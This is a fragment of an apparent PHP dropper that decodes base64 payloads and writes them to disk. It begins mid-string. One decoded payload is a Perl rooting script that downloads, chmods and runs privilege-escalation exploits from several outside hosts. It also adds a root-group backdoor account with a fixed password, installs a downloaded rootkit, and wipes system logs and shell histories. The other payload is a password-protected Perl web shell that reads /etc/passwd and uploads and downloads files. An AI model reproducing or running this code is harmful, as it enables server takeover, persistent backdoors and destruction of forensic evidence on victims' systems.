IuLzgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzhhIik7IApzeXN0ZW0oImNobW9kIDc3NyA4YSIpOyAKc3lzdGVtKCIuLzhhIik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vOGEiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzhiYiIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgOGJiIik7IApzeXN0ZW0oIi4vOGJiIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy84Y2MiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDhjYyIpOyAKc3lzdGVtKCIuLzhjYyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvOHgiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDh4Iik7IApzeXN0ZW0oIi4vOHgiKTsgCnN5c3RlbSgiaWQiKTsgCnN5c3RlbSgiLi84eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvMjAwOCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOCIpOyAKc3lzdGVtKCIuLzIwMDgiKTsgCnN5c3RlbSgiaWQiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOyAKc3lzdGVtKCIuL2V4cGxvaXQiKTsgCnN5c3RlbSgiaWQiKTsgOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8yMDA5eHgiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAyMDA5eHgiKTsgCnN5c3RlbSgiLi8yMDA5eHgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzIuNi45LTU1LTIwMDctcHJ2OCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7ICAKcHJpbnQgIklmIHUgbWFsZXNlZiByb290bGF5YW1hZGluIGJhc2thIHNlcnZlcmxlcmRlIG11dGxha2EgYW1hIG11dGxha2E6KWJ5IGlza29ycGl0eCAtIEVkaXQgQlkgbk8gbE92MyBcbiI7IAp9CmlmICgkQVJHVlswXSA9fiAiLWsiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IDIwMDkgaTY4NiAyLjYuMTgtMTI4ICBbIDIgXVxuIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly9ncnNlY3VyaXR5Lm5ldC9+c3BlbmRlci82NGJpdF9kb3MuYyI7CnNsZWVwKDIpOwpzeXN0ZW0oImdjYyA2NGJpdF9kb3MuYyAtbyA2NGJpdF9kb3MiKTsgIApzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gImNobW9kIDc3NyA2NGJpdF9kb3MiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vNjRiaXRfZG9zIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2dyc2VjdXJpdHkubmV0L35zcGVuZGVyL2V4cGxvaXQudHh0IjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIGV4cGxvaXQudHh0IC1vIGV4cGxvaXRjYyIpOyAgCnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IGV4cGxvaXRjYyI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi9leHBsb2l0Y2MiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKc2xlZXAoMik7CnN5c3RlbSAid2dldCBodHRwOi8vZ3JzZWN1cml0eS5uZXQvfnNwZW5kZXIvZ3Jsb2dhbGVydC5jIjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIGdybG9nYWxlcnQuYyAtbyBncmxvZ2FsZXJ0Iik7ICAKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgZ3Jsb2dhbGVydCI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi9ncmxvZ2FsZXJ0IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2dyc2VjdXJpdHkubmV0L35zcGVuZGVyL3ZtbGludXpfdG9fdm1saW51eF9nei5jIjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIHZtbGludXpfdG9fdm1saW51eF9nei5jIC1vIHZtbGludXpfdG9fdm1saW51eF9neiIpOyAgCnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IHZtbGludXpfdG9fdm1saW51eF9neiI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi92bWxpbnV6X3RvX3ZtbGludXhfZ3oiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKc2xlZXAoMik7CnN5c3RlbSAid2dldCBodHRwOi8vZ3JzZWN1cml0eS5uZXQvfnNwZW5kZXIvY3Jhc2h2bWxpbnV6IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gImNobW9kIDc3NyBjcmFzaHZtbGludXoiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vY3Jhc2h2bWxpbnV6IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2RhenpsZXN0dWRpby5uZXQvMi42LjE4LTE2NCI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgMi42LjE4LTE2NCI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi8yLjYuMTgtMTY0IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2FsZXhvbG91Z2hsaW5zcGxhY2UuY29tL2ZvcnVtL05ld0Rpci96MWQtMjAxMSI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgejFkLTIwMTEiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vejFkLTIwMTEiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKICAgICB9CQppZiAoJEFSR1ZbMF0gPX4gIi1hYiIgKSAKICAgICAgICAgIHsKcHJpbnQgcSAoCiAgICAgICAgICAgICAKc2VjNGV2ZXIuY29tCik7CgogICAgIH0KIAppZiAoJEFSR1ZbMF0gPX4gIi10IiApIAogICAgICAgICAgewpwcmludCAiQWRkIFJvb3QgQWNjb3VudCBbIHIgXVxuIjsKcHJpbnQgInVzZXIgOiBbIHJvb3IgXVxuIjsKc3lzdGVtICJhZGR1c2VyIC1nIDAgcm9vciAtRyB3aGVlbCxzeXMsYmluLGRhZW1vbixhZG0sZGlzayAtZCAvc2Y3IC1zIC9iaW4vc2giOwpzeXN0ZW0gInBhc3N3ZCByMG90SDR4MHIiOwpwcmludCAicGFzcyBpcyA6IHIwb3RINHgwclxuIjsKc2xlZXAoMik7IAoKICAgICB9CQkgCgkgaWYgKCRBUkdWWzBdID1+ICItZCIgKSAKICAgICAgICAgIHsKICBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovcHJpdjgtMi42LjE4LjIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcHJpdjgtMi42LjE4LjIwMTAiKTsgCnN5c3RlbSgiLi9wcml2OC0yLjYuMTguMjAxMCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgogIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei9wcml2OC0yLjYuMTgtMTY0LTIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcHJpdjgtMi42LjE4LTE2NC0yMDEwIik7IApzeXN0ZW0oIi4vcHJpdjgtMi42LjE4LTE2NC0yMDEwIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiAgc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9wamsuZGFuYXdhLm15L3RlbXBsYXRlcy9iZWV6LzIuNi4xOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgiKTsgCnN5c3RlbSgiLi8yLjYuMTgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJpZCIpOwoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yIik7CnN5c3RlbSgiY2htb2QgNzc3IDIiKTsgCnN5c3RlbSgiLi8yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAxIik7IApzeXN0ZW0oIi4vMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yLjYuMTgtMTk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsgCnN5c3RlbSgiLi8yLjYuMTgtMTk0Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCgogc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9wamsuZGFuYXdhLm15L3RlbXBsYXRlcy9iZWV6LzIuNi4zMi0yMS1nZW5lcmljLTIwMTAtaTY4NiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItMjEtZ2VuZXJpYy0yMDEwLWk2ODYiKTsgCnN5c3RlbSgiLi8yLjYuMzItMjEtZ2VuZXJpYy0yMDEwLWk2ODYiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJpZCIpOwoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yLjYuMTgtNTMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTUzIik7IApzeXN0ZW0oIi4vMi42LjE4LTUzIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovMi42LjE4LTUzIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMCIpOyAKc3lzdGVtKCIuLzIuNi4xOC01MyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgogICB9CmlmICgkQVJHVlswXSA9fiAiLWMiICkgCiAgICAgICAgICB7CnN5c3RlbSAid2dldCBodHRwOi8vcmJodC5wcC5ydS9maWxlcy9lbmxpZ2h0ZW5tZW50LnRneiI7CnNsZWVwKDIpOyAKc3lzdGVtICJ0YXIgeHpmIGVubGlnaHRlbm1lbnQudGd6IjsKc2xlZXAoMik7IApzeXN0ZW0gImNkIGVubGlnaHRlbm1lbnQiOwpzeXN0ZW0gInNlZCAtaSAnL3R1cm5fXChvblx8b2ZmXClfd3AoKTsvZCcgZXhwbG9pdC5jIjsKc2xlZXAoMik7IApzeXN0ZW0gIi4vcnVuX251bGxfZXhwbG9pdHMuc2giOwpzbGVlcCgyKTsgCnN5c3RlbSAiaWQiOwpzeXN0ZW0gImlkIjsgCnN5c3RlbSAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSAidW5hbWUgLWE7c3U7aWQiOwogICAgIH0gCgkgCmlmICgkQVJHVlswXSA9fiAiLXJtIiApIAogICAgICAgICAgewpwcmludCAicm0gLXJmIExvZyBbIHJtIF0gXG4iOwpzeXN0ZW0gInJtIC1yZiAvdG1wL2xvZ3MiOwpzeXN0ZW0gInJtIC1yZiAvcm9vdC8ua3NoX2hpc3RvcnkiOwpzeXN0ZW0gInJtIC1yZiAvcm9vdC8uYmFzaF9oaXN0b3J5IjsKc3lzdGVtICJybSAtcmYgL3Jvb3QvLmJhc2hfbG9nb3V0IjsKc3lzdGVtICJybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyI7CnNsZWVwKDIpOwpzeXN0ZW0gInJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2ciOwpzeXN0ZW0gInJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzIjsKc3lzdGVtICJybSAtcmYgL3Zhci9hcGFjaGUvbG9nIjsKc3lzdGVtICJybSAtcmYgL3Zhci9ydW4vdXRtcCI7CnN5c3RlbSAicm0gLXJmIC92YXIvbG9ncyI7CnN5c3RlbSAicm0gLXJmIC92YXIvbG9nIjsKc2xlZXAoMik7CnN5c3RlbSAicm0gLXJmIC92YXIvYWRtIjsKc3lzdGVtICJybSAtcmYgL2V0Yy93dG1wIjsKc3lzdGVtICJybSAtcmYgL2V0Yy91dG1wIjsKc3lzdGVtICJjZCAvYmluIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwogICAgIH0KaWYgKCRBUkdWWzBdID1+ICItdjQiICkgCiAgICAgICAgICB7CnByaW50ICJBZGQgdjQtdGVhbSBSb290a2l0IFsgdjQgXVxuIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vdjR0ZWFtLXJvb3RraXQudGFyLmd6IjsKc3lzdGVtICJ0YXIgLXh2dnpmIHY0dGVhbS1yb290a2l0LnRhci5neiI7CnN5c3RlbSAiY2Qgcm9vdGtpdDsuL2luc3RhbGwiOwpwcmludCAidXNlciA6IHdvN29zaHY0dGVhbSAsICBwYXNzIDogdjR0ZWFtaGFja2VyIFxuIjsKc3lzdGVtICJpZCI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKICAgICB9CgkgCgkgCmlmICgkQVJHVlswXSA9fiAiLWhlIiApIAogICAgICAgICAgewpwcmludCBxICgKCnwgICAgICAgIFVzZSA6IHBlcmwgcm8wdGdldC5wbCAtMSAgICAgICAgfAoKKTsKCiAgICAgfQoK');
$write = fwrite ($file ,$sa);
$file = fopen($dir."dz.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCiROVENtZFNlcCA9ICImIjsKJFVuaXhDbWRTZXAgPSAiOyI7CiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMzAwOwokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwokcGFzc3dvcmQgPSAiZHoiOwokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBmb28KICAgIHsKICAgICAgICBteSAoICRsb2dpbiwgJHAsICR1aWQsICRnaWQsICRnZWNvcywgJGRpciwgJHMgKTsKICAgICAKICAgICAgICBteSAlSG9IID0gKCk7CiAgICAgCiAgICAgICAgbXkgJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOwogICAgICAgIG9wZW4oIFBBU1NXRCwgIjwgJGZpbGUiICkgb3IgZGllICJDYW4ndCBvcGVuICRmaWxlIDogJCEiOwogICAgIAogICAgICAgIHdoaWxlKCA8UEFTU1dEPiApIHsKICAgICAgICAgICAgKCAkbG9naW4sICRwLCAkdWlkLCAkZ2lkLCAkZ2Vjb3MsICRkaXIsICRzICkgPSBzcGxpdCggJzonICk7CiAgICAgCiAgICAgICAgICAgICRIb0h7ICRsb2dpbiB9eyAndWlkJyB9ID0gJHVpZDsKICAgICAgICAgICAgJEhvSHsgJGxvZ2luIH17ICdnaWQnIH0gPSAkZ2lkOwogICAgICAgICAgICAkSG9IeyAkbG9naW4gfXsgJ2RpcicgfSA9ICRkaXI7CiAgICAgICAgfQogICAgIAogICAgICAgIGNsb3NlIFBBU1NXRDsKICAgICAKICAgICAgICByZXR1cm4gXCVIb0g7CiAgICB9CnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+S0lEIC0gRHIuSkVlTlRlTCBTaGVMTDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IHN0eWxlPSdjb2xvcjogIzAwMDAwMDtiYWNrZ3JvdW5kOnVybChodHRwOi8vZHo0YWxsLmNvbS9jYy9pbWFnZXMvYWxtamF6Zi1zYS9uYXYvbmF2XzE4LmdpZikgcmVwZWF0IHNjcm9sbCBjZW50ZXIgdG9wO2JhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7U0NST0xMQkFSLUZBQ0UtQ09MT1I6ICNGMUYxRjE7IE1BUkdJTjogMHB4O1NDUk9MTEJBUi1ISUdITElHSFQtQ09MT1I6ICNmZmZmZmY7IE9WRVJGTE9XOiBhdXRvOyc+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjMDBmZjAwIj48cCBhbGlnbj0iY2VudGVyIj5zPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+CjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjMiIGNvbG9yPSIjRkYwMDAwIj5LSUQtU2hlbGwgLSBTZXJ2ZXI6OiAgPGZvbnQgY29sb3I9IiMwMEZGMDAiPiRTZXJ2ZXJOYW1lPC9mb250PjwvZm9udD4KPC90cj4KPHRyPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiNDMEMwQzAiIHNpemU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiMwMGZmMDAiPgogICAgICAtLSBFbnRlciBQYXNzd29yZCAtLQo8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKJE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0